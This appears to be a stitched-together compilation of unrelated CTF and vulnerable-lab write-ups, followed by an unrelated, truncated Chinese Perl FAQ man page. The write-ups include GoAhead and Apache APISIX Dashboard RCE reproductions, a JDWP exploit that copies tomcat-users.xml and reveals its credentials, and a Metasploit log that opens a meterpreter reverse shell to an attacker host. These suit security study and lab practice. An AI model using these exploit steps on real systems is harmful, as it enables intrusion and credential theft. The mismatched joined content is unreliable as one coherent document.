# Rank yourself higher Category: Web, 250 points ## Description > challenge 3 in Imperva's GQLDating series > > Check your rate. Do you truly agree to be ranked that low? If you will be ranked 100 you will get more exposure. ## Solution This is the follow up for [GQL all the way](GQL_all_the_way.md). We'll continue using `GraphQLmap` to interact with the GraphQL engine. ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Rank_yourself_higher] └─$ python3 ~/utils/web/GraphQLmap/graphqlmap.py -u http://ec2-3-239-182-16.compute-1.amazonaws.com:1234/gql/graphql?query={} -v --method POST --json _____ _ ____ _ / ____| | | / __ \| | | | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __ | | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \ | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) | \_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/ | | | | |_| |_| Author: @pentest_swissky Version: 1.0 GraphQLmap > dump_new ============= [SCHEMA] =============== e.g: name[Type]: arg (Type!) User name[]: email[]: rate[]: Flag hint[]: key[]: FlagResult success[Boolean]: errors[String]: flag[]: Person id[ID]: nickname[]: name[]: last_name[]: joined_at[]: city[]: interest_in[]: gender[]: personal_info[]: link[]: PersonRate id[ID]: nickname[]: name[]: last_name[]: rate[]: PersonResult success[Boolean]: errors[String]: person[]: PersonsResult success[Boolean]: errors[String]: persons[Person]: PersonRateResult success[Boolean]: errors[String]: person_rate[]: UserResult success[Boolean]: errors[String]: user[]: Post id[ID]: title[String]: description[String]: created_at[String]: PostResult success[Boolean]: errors[String]: post[]: PostsResult success[Boolean]: errors[String]: posts[Post]: Query getFlag[FlagResult]: listPosts[PostsResult]: getPost[PostResult]: id (ID!), listPersons[PersonsResult]: getPerson[PersonResult]: id (ID!), getPersonByName[PersonsResult]: name (!), getPersonByNickName[PersonResult]: nickname (!), getPersonRate[PersonRateResult]: id (ID!), getUser[UserResult]: email (String!), Mutation createPost[PostResult]: title (String!), description (String!), created_at (!), updatePost[PostResult]: id (ID!), title (!), description (!), deletePost[PostResult]: id (!), updatePersonRate[PersonRateResult]: id (ID!), rate (Int!), updateUserRate[UserResult]: email (String!), rate (Int!), __Schema __Type __Field __InputValue __EnumValue __Directive GraphQLmap > ``` So for this challenge we just need to rank ourselves higher (essentially ranking anyone higher did the trick): ``` GraphQLmap > mutation{updateUserRate(email:"Test@test.com", rate: 100){success errors user {name email rate} }} mutation{updateUserRate(email:"Test@test.com", rate: 100){success errors user {name email rate} }} { "data": { "updateUserRate": { "errors": null, "success": true, "user": { "email": "Test@test.com", "name": "Test", "rate": "cstechnion{b00m!_w3ll_d0n3_}" } } } } ``` The flag: `cstechnion{b00m!_w3ll_d0n3_}`.
sec-knowleage
# GoAhead 远程命令执行漏洞(CVE-2017-17562) GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server,多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序,这个漏洞就出现在运行CGI程序的时候。 GoAhead在接收到请求后,将会从URL参数中取出键和值注册进CGI程序的环境变量,且只过滤了`REMOTE_HOST`和`HTTP_AUTHORIZATION`。我们能够控制环境变量,就有很多攻击方式。比如在Linux中,`LD_`开头的环境变量和动态链接库有关,如`LD_PRELOAD`中指定的动态链接库,将会被自动加载;`LD_LIBRARY_PATH`指定的路径,程序会去其中寻找动态链接库。 我们可以指定`LD_PRELOAD=/proc/self/fd/0`,因为`/proc/self/fd/0`是标准输入,而在CGI程序中,POST数据流即为标准输入流。我们编译一个动态链接库,将其放在POST Body中,发送给`http://target/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0`,CGI就会加载我们发送的动态链接库,造成远程命令执行漏洞。 参考链接: - https://www.elttam.com.au/blog/goahead/ ## 漏洞环境 启动漏洞环境: ``` docker compose up -d ``` 启动完成后,访问`http://your-ip:8080/`即可看到欢迎页面。访问`http://your-ip:8080/cgi-bin/index`即可查看到Hello页面,即为CGI执行的结果。 ## 漏洞复现 我们首先需要编译一个动态链接库,而且需要和目标架构相同。所以在实战中,如果对方是一个智能设备,你可能需要交叉编译。因为Vulhub运行在`Linux x86_64`的机器中,所以我们直接用Linux PC编译即可。动态链接库源码: ```C #include <unistd.h> static void before_main(void) __attribute__((constructor)); static void before_main(void) { write(1, "Hello: World!\n", 14); } ``` 这样,`before_main`函数将在程序执行前被调用。编译以上代码: ``` gcc -shared -fPIC ./payload.c -o payload.so ``` 将payload.so作为post body发送: ``` curl -X POST --data-binary @payload.so "http://your-ip:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i ``` 可见,`Hello: world!`已被成功输出,说明我们的动态链接库中的代码已被执行: ![](1.png) 编译一个反弹shell的代码,成功反弹shell: ![](2.png)
sec-knowleage
## boomshakalaka (mobile, 3 points) play the game, get the highest score [boomshakalaka](plane.apk) We're given an android apk, after decompiling it, we learned that our flag is stored in Cocos2dxPrefsFile.xml in shared_prefs folder. When we looked in the specified file, it turned out that the flag is only partially complete: `0ctf{C0coS2d_AnDro1d_G7s÷ضg´36ُ3&EôنG&َ` After a while of searching, we find out that the rest of our flag mechanics is actually compiled in the `libcocos2dcpp.so` library. At first, we only noticed one check for score that displayed "Look at your xml file": ![fail1](fail1.png) So we tried setting the score manually with some game-cheating applications, which gave us some promising results: ![fail2](fail2.png) But it turned out that it wasn't enough, the flag was still not complete. Finally, after spending some more time on it, we discovered checks for various numbers of points. Example: ```c++ case 0xBB8: v11 = cocos2d::CCUserDefault::sharedUserDefault(v4, v5, 3000); std::operator+<char,std::char_traits<char>,std::allocator<char>>((int)&v26, (int *)&v21, "Bt"); cocos2d::CCUserDefault::setStringForKey(v11, (int)&v35, (int)&v26); v8 = &v26; break; ```` Joining all of the strings together, finally gave us the valid flag: `0ctf{C0coS2d_AnDro1d_G0mE_YoU_Kn0w?}`
sec-knowleage
# Apache APISIX Dashboard API权限绕过导致RCE(CVE-2021-45232) Apache APISIX是一个动态、实时、高性能API网关,而Apache APISIX Dashboard是一个配套的前端面板。 Apache APISIX Dashboard 2.10.1版本前存在两个API`/apisix/admin/migrate/export`和`/apisix/admin/migrate/import`,他们没有经过`droplet`框架的权限验证,导致未授权的攻击者可以导出、导入当前网关的所有配置项,包括路由、服务、脚本等。攻击者通过导入恶意路由,可以用来让Apache APISIX访问任意网站,甚至执行LUA脚本。 参考链接: - https://apisix.apache.org/zh/blog/2021/12/28/dashboard-cve-2021-45232/ - https://github.com/wuppp/cve-2021-45232-exp ## 漏洞环境 执行如下命令启动一个有漏洞的Apache APISIX Dashboard 2.9: ``` docker compose up -d ``` 然后访问`http://your-ip:9000/`即可看到Apache APISIX Dashboard的登录页面。 ## 漏洞复现 利用`/apisix/admin/migrate/export`和`/apisix/admin/migrate/import`两个Apache APISIX Dashboard提供的未授权API,我们可以简单地导入一个恶意配置文件,其中包含我们构造的LUA脚本: ![](1.png) 注意的是,这个配置文件的最后4个字符是当前文件的CRC校验码,所以最好通过自动化工具来生成和发送这个利用数据包,比如[这个POC](https://github.com/wuppp/cve-2021-45232-exp)。 添加完恶意路由后,你需要访问Apache APISIX中对应的路径来触发前面添加的脚本。值得注意的是,Apache APISIX和Apache APISIX Dashboard是两个不同的服务,Apache APISIX Dashboard只是一个管理页面,而添加的路由是位于Apache APISIX中,所以需要找到Apache APISIX监听的端口或域名。 在当前环境下,Apache APISIX监听在9080端口下。我们发送数据包: ``` GET /okw1Rh HTTP/1.1 Host: your-ip:9080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36 Connection: close CMD: id Cache-Control: max-age=0 ``` ![](2.png) 可见,我们在Header中添加的`CMD`头中的命令已被执行。 这个漏洞是Apache APISIX Dashboard的漏洞,而Apache APISIX无需配置IP白名单或管理API,只要二者连通同一个etcd即可。
sec-knowleage
# What the hex (for 300) ###ENG [PL](#pl-version) In the task we get a large binary file (too large to put here, sorry). We notice that the file is in fact a 3000 concatenated JPG files with missing headers. We fix them and split with a script: ```python s = open("massa.raw", "rb").read().decode("hex") r = s.split("FIF\x00") for i in range(1, 3001): open("out/" + str(i) + ".jpg", "wb").write("\xff\xd8\xff\xe0\x00\x10JFIF\x00" + r[i]) ``` And this way we get 3000 files looking like this: ![](1.jpg) It's quite clear that the `flag` in the picture has incorrect format. We assume that there is one flag with proper format somewhere, but who would look for it by hand? Instead we used pytesseract to OCR each file and look for something more like the flag. Tesseract had some issues with reading blue letters on blue background, so we made it black and white with Pillow first: ```python import codecs import io import math from multiprocessing import freeze_support from PIL import Image from pytesseract import pytesseract from crypto_commons.brute.brute import brute def similar(color1, color2): return sum([math.fabs(color1[i] - color2[i]) for i in range(3)]) < 50 def black_and_white(im, filling): black = (0, 0, 0) white = (255, 255, 255) pixels = im.load() for i in range(im.size[0]): for j in range(im.size[1]): color = pixels[i, j] if similar(color, filling): pixels[i, j] = white else: pixels[i, j] = black def worker(i): with codecs.open("C:\\Users\\PC\\Desktop\\3ds\\outp\\" + str(i) + ".jpg", "rb")as f: image_file = io.BytesIO(f.read()) im = Image.open(image_file) im = im.convert('RGB') black_and_white(im, (173, 217, 230)) text = pytesseract.image_to_string(im, config="-psm 8") print(i, text) if not text.startswith("3dsctf"): im.show() print('real flag', i, text) def main(): brute(worker, range(1, 3001)) if __name__ == '__main__': freeze_support() main() ``` By running this in paralell with our crypto-commons multiprocessing brute we get the results pretty fast and the only result we get is: ![](2365.jpg) There was a very nasty twist here, because the actual flag was supposed to contain large `O` and small `L`. While the `L` is reasonable, since both large `i` and small `L` look alike, using large `O` where in the picture it's pretty clear that we have `0` is just a dick move. Anyway the actual flag was `3DS{u_5hOuIdv3_7ried_tesseract}` ###PL version W zadaniu dostajemy duży plik binarny (za dużo żeby to wrzucić, przepraszamy). Zauważamy, ze plik to w rzeczywistości sklejone ze sobą 3000 plików JPG bez headerów. Poprawiamy je i dzielimy za pomocą: ```python s = open("massa.raw", "rb").read().decode("hex") r = s.split("FIF\x00") for i in range(1, 3001): open("out/" + str(i) + ".jpg", "wb").write("\xff\xd8\xff\xe0\x00\x10JFIF\x00" + r[i]) ``` I tym sposobem dostajemy 3000 plików wyglądajacych tak: ![](1.jpg) Jest dość jasne, że `flaga` na obrazku ma niepoprawny format. Zakładamy że jest tam gdzieś jedna poprawna flaga, ale kto by jej szukał ręcznie? Zamiast tego używamy pytesseract żeby OCRować pliki i szukać czegoś co bardziej przypomina flagę. Tesseract miał jakieś problemy z niebieskimi napisami na niebieskim tle więc zmieniliśmy obrazki na czarno-białe za pomocą Pillow: ```python import codecs import io import math from multiprocessing import freeze_support from PIL import Image from pytesseract import pytesseract from crypto_commons.brute.brute import brute def similar(color1, color2): return sum([math.fabs(color1[i] - color2[i]) for i in range(3)]) < 50 def black_and_white(im, filling): black = (0, 0, 0) white = (255, 255, 255) pixels = im.load() for i in range(im.size[0]): for j in range(im.size[1]): color = pixels[i, j] if similar(color, filling): pixels[i, j] = white else: pixels[i, j] = black def worker(i): with codecs.open("C:\\Users\\PC\\Desktop\\3ds\\outp\\" + str(i) + ".jpg", "rb")as f: image_file = io.BytesIO(f.read()) im = Image.open(image_file) im = im.convert('RGB') black_and_white(im, (173, 217, 230)) text = pytesseract.image_to_string(im, config="-psm 8") print(i, text) if not text.startswith("3dsctf"): im.show() print('real flag', i, text) def main(): brute(worker, range(1, 3001)) if __name__ == '__main__': freeze_support() main() ``` Uruchamiając to równolegle z naszym brute z crypto-commons dostajemy dość szybko wyniki i jedyne trafienie to: ![](2365.jpg) Było tutaj dość nieładne zagranie ze strony organizatorów, bo flaga miała zawierać duże `O` oraz małe `L`. O ile `L` jest sensowne, bo duże `i` oraz małe `L` wyglądają tak samo, użycie dużego `O` podczas gdy na obrazku ewidentnie mamy `0` to po prostu zagranie poniżej pasa. Tak czy siak końcowa flaga to `3DS{u_5hOuIdv3_7ried_tesseract}`
sec-knowleage
# DEVRANDOM: SLEEPY > https://download.vulnhub.com/devrandom/sleepy.ova 靶场IP:`192.168.32.171` ![image-20220714154147076](../../.gitbook/assets/image-20220714154147076.png) 扫描对外端口 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p1-65535 192.168.32.171 1 ⚙ Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-14 03:42 EDT Nmap scan report for 192.168.32.171 Host is up (0.00034s latency). Not shown: 65532 filtered tcp ports (no-response) PORT STATE SERVICE 21/tcp open ftp 8009/tcp open ajp13 9001/tcp open tor-orport MAC Address: 00:0C:29:A4:5A:B7 (VMware) Nmap done: 1 IP address (1 host up) scanned in 105.90 seconds ``` FTP 启用了匿名访问 ![image-20220714154446812](../../.gitbook/assets/image-20220714154446812.png) 下载图片 ![image-20220714154527523](../../.gitbook/assets/image-20220714154527523.png) 未经身份验证的 JDWP 暴露: ``` / # jdb -attach 192.168.32.171:9001 Set uncaught java.lang.Throwable Set deferred uncaught java.lang.Throwable Initializing jdb ... > threads Group system: (java.lang.ref.Reference$ReferenceHandler)0x19d Reference Handler cond. waiting (java.lang.ref.Finalizer$FinalizerThread)0x19e Finalizer cond. waiting (java.lang.Thread)0x19f Signal Dispatcher running Group main: (java.lang.Thread)0x1a1 main sleeping > interrupt 0x1a1 > Exception occurred: java.lang.InterruptedException (uncaught)"thread=main", java.lang.Thread.sleep(), line=-1 bci=-1 main[1] print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("cp /etc/tomcat/tomcat-users.xml /var/ftp/pub/").getInputStream())).readLine()) java.lang.NullPointerException at com.sun.tools.example.debug.expr.LValue.argumentsMatch(LValue.java:268) at com.sun.tools.example.debug.expr.LValue.resolveOverload(LValue.java:399) at com.sun.tools.example.debug.expr.LValue.makeNewObject(LValue.java:820) at com.sun.tools.example.debug.expr.ExpressionParser.AllocationExpression(ExpressionParser.java:1119) at com.sun.tools.example.debug.expr.ExpressionParser.PrimaryPrefix(ExpressionParser.java:961) at com.sun.tools.example.debug.expr.ExpressionParser.PrimaryExpression(ExpressionParser.java:909) at com.sun.tools.example.debug.expr.ExpressionParser.PostfixExpression(ExpressionParser.java:834) at com.sun.tools.example.debug.expr.ExpressionParser.UnaryExpressionNotPlusMinus(ExpressionParser.java:757) at com.sun.tools.example.debug.expr.ExpressionParser.UnaryExpression(ExpressionParser.java:687) at com.sun.tools.example.debug.expr.ExpressionParser.MultiplicativeExpression(ExpressionParser.java:611) at com.sun.tools.example.debug.expr.ExpressionParser.AdditiveExpression(ExpressionParser.java:580) at com.sun.tools.example.debug.expr.ExpressionParser.ShiftExpression(ExpressionParser.java:542) at com.sun.tools.example.debug.expr.ExpressionParser.RelationalExpression(ExpressionParser.java:504) at com.sun.tools.example.debug.expr.ExpressionParser.InstanceOfExpression(ExpressionParser.java:485) at com.sun.tools.example.debug.expr.ExpressionParser.EqualityExpression(ExpressionParser.java:455) at com.sun.tools.example.debug.expr.ExpressionParser.AndExpression(ExpressionParser.java:433) at com.sun.tools.example.debug.expr.ExpressionParser.ExclusiveOrExpression(ExpressionParser.java:412) at com.sun.tools.example.debug.expr.ExpressionParser.InclusiveOrExpression(ExpressionParser.java:391) at com.sun.tools.example.debug.expr.ExpressionParser.ConditionalAndExpression(ExpressionParser.java:370) at com.sun.tools.example.debug.expr.ExpressionParser.ConditionalOrExpression(ExpressionParser.java:349) at com.sun.tools.example.debug.expr.ExpressionParser.ConditionalExpression(ExpressionParser.java:321) at com.sun.tools.example.debug.expr.ExpressionParser.Expression(ExpressionParser.java:256) at com.sun.tools.example.debug.expr.ExpressionParser.evaluate(ExpressionParser.java:81) at com.sun.tools.example.debug.tty.Commands.evaluate(Commands.java:114) at com.sun.tools.example.debug.tty.Commands.doPrint(Commands.java:1654) at com.sun.tools.example.debug.tty.Commands$3.action(Commands.java:1680) at com.sun.tools.example.debug.tty.Commands$AsyncExecution$1.run(Commands.java:66) new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("cp /etc/tomcat/tomcat-users.xml /var/ftp/pub/").getInputStream())).readLine()) = null main[1] exit ``` ![image-20220714160907420](../../.gitbook/assets/image-20220714160907420.png) 上面的 Java 代码将`/etc/tomcat/tomcat-users.xml`文件复制到`/var/ftp/pub`. CentOS 上 pub ftp 的默认位置。 tomcat-users.xml 被下载到攻击机器,并提取了以下凭据: ``` <user username="sl33py" password="Gu3SSmYStR0NgPa$sw0rD!" roles="tomcat,manager-gui,admin-gui,admin,manager-jmx,admin-script,manager,manager-script,manager-status"/> ``` ![image-20220714161105821](../../.gitbook/assets/image-20220714161105821.png) 又或者使用msf ``` msf6 > search jdwp Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/misc/java_jdwp_debugger 2010-03-12 good Yes Java Debug Wire Protocol Remote Code Execution Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/misc/java_jdwp_debugger msf6 > use exploit/multi/misc/java_jdwp_debugger [*] No payload configured, defaulting to linux/aarch64/meterpreter/reverse_tcp msf6 exploit(multi/misc/java_jdwp_debugger) > set rhost 192.168.32.171 rhost => 192.168.32.171 msf6 exploit(multi/misc/java_jdwp_debugger) > set rport 9001 rport => 9001 msf6 exploit(multi/misc/java_jdwp_debugger) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf6 exploit(multi/misc/java_jdwp_debugger) > set lhost 192.168.32.130 lhost => 192.168.32.130 msf6 exploit(multi/misc/java_jdwp_debugger) > check [*] 192.168.32.171:9001 - The target appears to be vulnerable. msf6 exploit(multi/misc/java_jdwp_debugger) > exploit [*] Started reverse TCP handler on 192.168.32.130:4444 [*] 192.168.32.171:9001 - Retrieving the sizes of variable sized data types in the target VM... [*] 192.168.32.171:9001 - Getting the version of the target VM... [*] 192.168.32.171:9001 - Getting all currently loaded classes by the target VM... [*] 192.168.32.171:9001 - Getting all running threads in the target VM... [*] 192.168.32.171:9001 - Setting 'step into' event... [*] 192.168.32.171:9001 - Resuming VM and waiting for an event... [*] 192.168.32.171:9001 - Received 1 responses that are not a 'step into' event... [*] 192.168.32.171:9001 - Deleting step event... [*] 192.168.32.171:9001 - Disabling security manager if set... [+] 192.168.32.171:9001 - Security manager was not set [*] 192.168.32.171:9001 - Dropping and executing payload... [*] Sending stage (980808 bytes) to 192.168.32.171 [*] Meterpreter session 1 opened (192.168.32.130:4444 -> 192.168.32.171:53047) at 2022-07-14 04:23:15 -0400 [!] 192.168.32.171:9001 - This exploit may require manual cleanup of '/tmp/h9dD' on the target meterpreter > [+] 192.168.32.171:9001 - Deleted /tmp/h9dD ``` ``` #!/bin/bash apt-get install libapache2-mod-jk -y sed -i 's#JkWorkersFile /etc/libapache2-mod-jk/workers.properties#JkWorkersFile /etc/apache2/workers.properties#g' /etc/apache2/mods-enabled/jk.conf cp /etc/libapache2-mod-jk/workers.properties /etc/apache2/ sed -i 's#worker.ajp13_worker.host=localhost#worker.ajp13_worker.host=192.168.30.146#g' /etc/apache2/workers.properties sed '/\Host\>/i JKMount /* ajp13_worker' /etc/apache2/sites-enabled/000-default.conf a2enmod proxy_http proxy_ajp service apache2 restart ```
sec-knowleage
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.14 .\" .\" Standard preamble: .\" ======================================================================== .de Sh \" Subsection heading .br .if t .Sp .ne 5 .PP \fB\\$1\fR .PP .. .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. | will give a .\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to .\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C' .\" expand to `' in nroff, nothing in troff, for use with C<>. .tr \(*W-|\(bv\*(Tr .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' 'br\} .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .if \nF \{\ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . nr % 0 . rr F .\} .\" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .hy 0 .if n .na .\" .\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2). .\" Fear. Run. Save yourself. No user-serviceable parts. . \" fudge factors for nroff and troff .if n \{\ . ds #H 0 . ds #V .8m . ds #F .3m . ds #[ \f1 . ds #] \fP .\} .if t \{\ . ds #H ((1u-(\\\\n(.fu%2u))*.13m) . ds #V .6m . ds #F 0 . ds #[ \& . ds #] \& .\} . \" simple accents for nroff and troff .if n \{\ . ds ' \& . ds ` \& . ds ^ \& . ds , \& . ds ~ ~ . ds / .\} .if t \{\ . ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u" . ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u' . ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u' . ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u' . ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u' . ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u' .\} . \" troff and (daisy-wheel) nroff accents .ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V' .ds 8 \h'\*(#H'\(*b\h'-\*(#H' .ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#] .ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H' .ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u' .ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#] .ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#] .ds ae a\h'-(\w'a'u*4/10)'e .ds Ae A\h'-(\w'A'u*4/10)'E . \" corrections for vroff .if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u' .if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u' . \" for low resolution devices (crt and lpr) .if \n(.H>23 .if \n(.V>19 \ \{\ . ds : e . ds 8 ss . ds o a . ds d- d\h'-1'\(ga . ds D- D\h'-1'\(hy . ds th \o'bp' . ds Th \o'LP' . ds ae ae . ds Ae AE .\} .rm #[ #] #H #V #F C .\" ======================================================================== .\" .IX Title "PERLFAQ7 1" .TH PERLFAQ7 7 "2003-11-25" "perl v5.8.3" "Perl Programmers Reference Guide" .SH "NAME" perlfaq7 \- 综合的问题 (2003/07/24 02:17:21) .SH "DESCRIPTION 描述" .IX Header "DESCRIPTION" 本节讨论综合的 Perl 语言问题,不适于在其他所有段落中讨论的问题 .Sh "我能拿到 Perl的 BNF/yacc/RE吗?" .IX Subsection "Can I get a BNF/yacc/RE for the Perl language?" 没有 \s-1BNF\s0, 但是你可以从源代码的 perly.y 文件的 yacc 语法中自行归纳,如果你足够勇敢的话。语法依赖于非常智能的词法分析,因此也要准备好阅读 toke.c。 .PP 用 Chaim Frenkel的话:\*(L"Perl的语法无法被简化到可以用 BNF 表示。解析Perl的工作是分散於 yacc、lexer、烟雾和镜子之间。\*(R" .Sh "$@%*这些符号是什麽意思?我怎麽知道何时该使用他们呢?" .IX Subsection "What are all these $@%&* punctuation signs, and how do I know when to use them?" 它们都是类型限定符号,在 perldata 中详述: .PP .Vb 6 \& $ 标量值,数字,字符串或引用 \& @ 数组 \& % 散列,关联数组 \& & 子程序,也就是函数,过程,方法 \& * 代表这个符号的所有类型。在版本4中,可以用作指针,但是在新的 perl 中可以只用引用就可以了 .Ve .PP 有些其他的符号你可能会碰到但却不是指定形态用的有: .PP .Vb 2 \& <> 这是用来从一个文件句柄里输入一份记录 \& \e 取某样东西的引用 .Ve .PP 注意 <\s-1FILE\s0> 不是用来指定文件类型,亦非此句柄的名字。它只是 将<>这个运算符作用在 FILE这个句柄上。在标量上下文 (scalar context) 中,它自 FILE 把手一次读入一行 (嗯,该说一笔记录,参看 $/),在序列情境 (list context)下,则一次将 全部的内容读 入。当对档案使用开、关或其它 <>之外的动作、或甚至只是提到把 手时,切记不要使用 <>。下面的用法是正确的:\f(CW\*(C`eof(FH)\*(C'\fR, \f(CW\*(C`seek(FH, 0, 2)\*(C'\fR 以及 \*(L"copying from \s-1STDIN\s0 to \s-1FILE\s0\*(R". .Sh "字串加引号或使用分号及逗号是否绝对必要/还是完全没必要?" .IX Subsection "Do I always/never have to quote my strings or use semicolons and commas?" 通常一个没有冠上形态符号的字 (bareword)是不需被纳入引号里的,但在大多数的情况下或许该这麽做 (在 \f(CW\*(C`use strict\*(C'\fR 下则是必须的)。但由一个简单的字(不能是一个已定义的副函数之名称)所构成的索引值,和 \f(CW\*(C`=>\*(C'\fR 左端的运算子,都会被视为已纳入引号了: .PP .Vb 4 \& 这些 和这些一样 \& ------------ --------------- \& $foo{line} $foo{"line"} \& bar => stuff "bar" => stuff .Ve .PP 一个区块末端的分号可有可无,一个序列的最後一个逗号亦同。良好的写作风格 (参看perlstyle)中建议除了在单行程式 (one-liners)的情况外都将他们加上去: .PP .Vb 2 \& if ($whoops) { exit 1 } \& @nums = (1, 2, 3); .Ve .PP .Vb 7 \& if ($whoops) { \& exit 1; \& } \& @lines = ( \& "There Beren came from mountains cold", \& "And lost he wandered under leaves", \& ); .Ve .Sh "我如何跳过一些传回值?" .IX Subsection "How do I skip some return values?" 一种方法是将传回值当作序列来对待,然後用索引来指名其中的某个位置: .PP .Vb 1 \& $dir = (getpwnam($user))[7]; .Ve .PP 另一种方法就是在等号左端用 undef 作元素: .PP .Vb 1 \& ($dev, $ino, undef, undef, $uid, $gid) = stat($file); .Ve .PP 也可以用一个列表片段来仅选择你需要的元素: .PP .Vb 1 \& ($dev, $ino, $uid, $gid) = ( stat($file) )[0,1,4,5]; .Ve .Sh "我如何暂时滤掉警告讯息?" .IX Subsection "How do I temporarily block warnings?" 如果正在运行 Perl 5.6.0 或更高版本, \f(CW\*(C`use warnings\*(C'\fR 编用可以对警告如何产生进行很好的控制。参见 perllexwarn 中的细节 .PP .Vb 4 \& { \& no warnings; # 暂时关掉警告讯息 \& $a = $b + $c; # 我知道这些变数可能未定义 \& } .Ve .PP 如果运行旧版本的 Perl,变量 \f(CW$^W\fR (在 perlvar 中有记载) 控制了这个块的运行时警告: .PP .Vb 4 \& { \& local $^W = 0; # 暂时关掉警告讯息 \& $a = $b + $c; # 我知道这些变数可能未定义 \& } .Ve .PP 注意,像所有的标点符号变数一样,目前不能对 \f(CW$^W\fR 用 my(),只能用 local()。 .Sh "什麽是一个扩充?" .IX Subsection "What's an extension?" 一种从 Perl呼叫编译好的 C程式码的方法。阅读 perlxstut是个多了解扩充(extensions)的好方法。 .Sh "为何 Perl运算子的优先顺序和 C的不一样?" .IX Subsection "Why do Perl operators have different precedence than C operators?" 事实上它们是相同的。所有 Perl自 C借过来的运算子都具备与原来在 C 中相同的优先顺序。问题出在那些 C没有的运算子,特别是那些将其右方一律当成序列情境对待的函数,例如 print, chmod, exec等等。这类的函数被称作序列运算子(\*(L"list operators\*(R"),在 perlop的优先顺序表中就是这麽称呼。 .PP 一个常犯的错误像是: .PP .Vb 1 \& unlink $file || die "snafu"; .Ve .PP 这会被解译器看成是: .PP .Vb 1 \& unlink ($file || die "snafu"); .Ve .PP 要避免此问题,须加上括号或是用超低优先的 \f(CW\*(C`or\*(C'\fR 运算子: .PP .Vb 2 \& (unlink $file) || die "snafu"; \& unlink $file or die "snafu"; .Ve .PP 这些“英文的”运算子 (and, or, xor,及 not)是刻意设计成较一般序列运算子低的优先顺序,这就是为了解决前述的状况。 .PP 另一个拥有出人意料的优先顺序者为指数。它甚至高於负号,这使得 \f(CW\*(C`\-2**2\*(C'\fR变成负四而非正四。他同时也会“向右靠”(right-associate),意思是说 \f(CW\*(C`2**3**2\*(C'\fR 代表二的九次方,而不是八的平方。 .PP Although it has the same precedence as in C, Perl's \f(CW\*(C`?:\*(C'\fR operator produces an lvalue. This assigns \f(CW$x\fR to either \f(CW$a\fR or \f(CW$b\fR, depending on the trueness of \f(CW$maybe:\fR .PP .Vb 1 \& ($maybe ? $a : $b) = $x; .Ve .Sh "我如何声明/创建一个数据结构?" .IX Subsection "How do I declare/create a structure?" 一般来说,我们不 ``声明'' 一个结构。用一个 (通常是匿名的) 散列的引用 (hash 